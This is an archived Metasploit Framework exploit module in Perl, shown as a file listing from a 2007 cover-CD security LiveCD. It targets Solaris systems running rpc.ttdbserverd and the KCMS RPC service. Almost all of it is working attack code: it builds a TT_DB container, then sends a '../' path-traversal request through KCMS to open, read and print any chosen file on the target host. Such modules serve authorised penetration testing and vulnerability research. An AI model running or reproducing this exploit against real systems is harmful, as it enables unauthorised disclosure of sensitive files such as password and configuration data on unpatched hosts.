home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / solaris_kcms_readfile.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  179 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::solaris_kcms_readfile;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::SunRPC;
  15. use Pex::XDR;
  16.  
  17. my $advanced = { };
  18. my $info =
  19.   {
  20.     'Name'    => 'Solaris KCMS Arbitary File Read',
  21.     'Version' => '$Revision: 1.9 $',
  22.     'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  23.  
  24.     'Arch'  => [ ],
  25.     'OS'    => [ ],
  26.     'Priv'  => 0,
  27.  
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target RPC port', 111],
  32.         'RFILE' => [1, 'DATA', 'The target file'],
  33.       },
  34.  
  35.     'Description'  => Pex::Text::Freeform(qq{
  36.         Possible to read any file on the remote file system. Relies on the
  37.         remote host also having an active rpc.ttdbserverd server running.
  38. }),
  39.  
  40.     'Refs'  =>
  41.       [
  42.         ['BID', '6665'],
  43.         ['MIL', '62'],
  44.       ],
  45.  
  46.     'Targets' => [ ],
  47.  
  48.     'Keys'  => ['kcms'],
  49.  
  50.     'DisclosureDate' => 'Jan 22 2003',
  51.   };
  52.  
  53. sub new {
  54.     my $class = shift;
  55.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  56.     return($self);
  57. }
  58.  
  59. sub Exploit {
  60.     my $self = shift;
  61.  
  62.     my $host = $self->GetVar('RHOST');
  63.     my $port = $self->GetVar('RPORT');
  64.     my $file = $self->GetVar('RFILE');
  65.  
  66.     if(length($file) > 1000)
  67.     {
  68.         $self->PrintLine("[*] File name is too long.");
  69.         return;
  70.     }
  71.  
  72.     if(ttdb_build($self, $host, $port, "/etc/openwin/devdata/profiles/TT_DB/oid_container") == -1)
  73.     {
  74.         return;
  75.     }
  76.  
  77.     my %data;
  78.  
  79.     if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100221, 1, "tcp", "tcp") == -1)
  80.     {
  81.         $self->PrintLine("[*] RPC request failed (kcms).");
  82.         return;
  83.     }
  84.  
  85.     Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
  86.  
  87.     my $buf =
  88.       Pex::XDR::Encode_string("TT_DB/" . "../" x 5 . $file, 1024).
  89.       Pex::XDR::Encode_int(0).    # O_RDONLY
  90.       Pex::XDR::Encode_int(0755);
  91.  
  92.     if(Pex::SunRPC::Clnt_call(\%data, 1003, $buf) == -1)
  93.     {
  94.         $self->PrintLine("[*] KCMS open() request failed.");
  95.         return;
  96.     }
  97.  
  98.     my $ack = Pex::XDR::Decode_int(\$data{'data'});
  99.     my $file_size = Pex::XDR::Decode_int(\$data{'data'});
  100.     my $fd = Pex::XDR::Decode_int(\$data{'data'});
  101.  
  102.     if($ack != 0)
  103.     {
  104.         $self->PrintLine("[*] KCMS open() failed (\$ack != 0)");
  105.  
  106.         if($file_size == 0)
  107.         {
  108.             $self->PrintLine("[*] File does not exist (or $host is patched)");
  109.         }
  110.  
  111.         return;
  112.     }
  113.  
  114.     $self->PrintLine("[*] fd: $fd\n[*] file size: $file_size");
  115.  
  116.     $buf =
  117.       Pex::XDR::Encode_int($fd).
  118.       Pex::XDR::Encode_int(0).
  119.       Pex::XDR::Encode_int($file_size);
  120.  
  121.     if(Pex::SunRPC::Clnt_call(\%data, 1005, $buf) == -1)
  122.     {
  123.         $self->PrintLine("[*] KCMS read() request failed.");
  124.         return;
  125.     }
  126.  
  127.     Pex::XDR::Decode_int(\$data{'data'});
  128.     my @file_chars = Pex::XDR::Decode_varray(\$data{'data'}, \&Pex::XDR::Decode_lchar);
  129.  
  130.     $self->PrintLine(join("", @file_chars));
  131.  
  132.     $buf =
  133.       Pex::XDR::Encode_int($fd);
  134.  
  135.     if(Pex::SunRPC::Clnt_call(\%data, 1004, $buf) == -1)
  136.     {
  137.         $self->PrintLine("[*] KCMS close() request failed.");
  138.     }
  139.  
  140.     Pex::SunRPC::Clnt_destroy(\%data);
  141.  
  142.     return;
  143. }
  144.  
  145. sub ttdb_build {
  146.     my ($self, $host, $port, $path) = @_;
  147.  
  148.     my %data;
  149.  
  150.     if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100083, 1, "tcp", "tcp") == -1)
  151.     {
  152.         $self->PrintLine("[*] RPC request failed (rpc.ttdbserverd).");
  153.         return -1;
  154.     }
  155.  
  156.     Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
  157.  
  158.     my $buf =
  159.       Pex::XDR::Encode_string($path, 1024).
  160.       Pex::XDR::Encode_int(length($path)).
  161.       Pex::XDR::Encode_int(1).        # KEY (VArray head?)
  162.       Pex::XDR::Encode_int(2).
  163.       Pex::XDR::Encode_int(1).
  164.       Pex::XDR::Encode_int(0).        # KEYDESC
  165.       Pex::XDR::Encode_int(2).
  166.       Pex::XDR::Encode_int(1).
  167.       (Pex::XDR::Encode_int(0) x 21).        # /KEYDESC, /KEY
  168.       Pex::XDR::Encode_int(0x10002).
  169.       Pex::XDR::Encode_int(length($path));
  170.  
  171.     if(Pex::SunRPC::Clnt_call(\%data, 3, $buf) == -1)
  172.     {
  173.         $self->PrintLine("[*] rpc.ttdbserverd request failed.");
  174.         return -1;
  175.     }
  176.  
  177.     Pex::SunRPC::Clnt_destroy(\%data);
  178. }
  179.